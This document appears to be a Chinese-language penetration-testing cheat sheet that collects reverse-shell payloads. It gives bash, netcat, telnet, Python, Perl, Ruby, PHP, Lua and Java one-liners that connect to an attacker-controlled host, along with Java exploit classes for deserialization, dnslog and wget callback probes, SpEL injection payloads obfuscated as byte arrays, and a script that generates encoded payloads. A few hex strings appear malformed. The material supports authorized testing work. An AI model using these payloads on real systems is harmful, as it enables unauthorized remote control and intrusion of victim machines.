渗透测试

0x01. Bash反弹

攻击者主机上执行监听：
nc -lvvp port

目标主机上执行：
bash -i >& /dev/tcp/[host]/Port 0>&1

/dev/tcp/[host]/Port;cat <&5 | while read line; do $line 2>&5 >&5; done

/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/[host]/Port 0>&1

0x02. telnet反弹

攻击者主机上打开两个终端分别执行监听：
nc -lvvp 4444
nc -lvvp 5555


目标主机中执行（监听两个端口分别用来输入和输出，其中x.x.x.x均为攻击者ip）： 

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

0x03. nc（netcat）反弹

Windows 和 Linux 之间
攻击机上执行监听命令
nc -lvvp port
目标主机上执行：
nc -e /bin/bash x.x.x.x port

Windows 和 Windows 之间（局域网|桥接|公网）
攻击机上执行反弹
nc -nv IP [Port]
目标及上执行监听命令
nc -lvp [Port] -e cmd

0x04. 常见脚本反弹

1. Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

2. Perl

   方法一：

perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法二：

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3. Ruby

   方法一：

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

方法二：

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

4. PHP

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

5. Java

Runtime.getRuntime().exec(new String[]{ "cmd", "/c", cmds});    //Windows

Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", cmds});   //Linux

Runtime.getRuntime().exec("/bin/bash -c 'bash -i>& dev/tcp/xx.xx.xx.xx/5555 0>&1'");  //Linux

    public class exp {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/[Host]/Port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

结合http服务

public class exp {
    /**
    * @param args
    * @throws Exception 
    */
    public exp() {
             try{
         // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
          Process p = r.exec(cmd);
        p.waitFor();
               } catch (Exception e) {
             e.printStackTrace();
     }
    }
}

ysoserial

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do \$line 2>&5 >&5; done"}).waitFor();";

dnslog检测

public class exp{
        public exp(){
    try{
                java.lang.Runtime.getRuntime().exec("ping xxx.dnslog.cn");
        } catch(java.io.IOException e){
        e.printStackTrace();
    }
    }
}

wget检测

import java.io.IOException;

public class exp {
    public exp() {
        String cmd = "wget http://xx.xx.xx.xx/success";
        try{
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

spel表达式

${7*7}
${(new java.lang.ProcessBuilder('calc')).start()}
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
${new java.lang.String(new byte[]{86,117,108,110,101,114,97,98,108,101})}   //Vulnerable
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x70,0x69,0x6E,0x67,0x20,0x77,0x34,x06B,0x31,0x76,0x73,0x2E,0x64,0x6E,0x73,0x6C,0x6F,0x67,0x2E,0x63,0x6F,0x6D}))} //dnslog检测

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x69,0x20,0x3e,0x26,0x20,0x2f,0x64,0x65,0x76,0x2f,0x74,0x63,0x70,0x2f,0x39,0x36,0x2e,0x34,0x35,0x31,0x39,0x31,0x2e,0x32,0x32,0x36,0x2f,0x35,0x35,0x35,0x350x20,0x30,0x3e,0x26,0x31}))} //16进制bash反弹shell

T(java.lang.Runtime).getRuntime().exec('calc.exe')

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")

#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")

spel 反弹shell生成脚本

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)

转换器

http://www.jackson-t.ca/runtime-exec-payloads.html

6. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"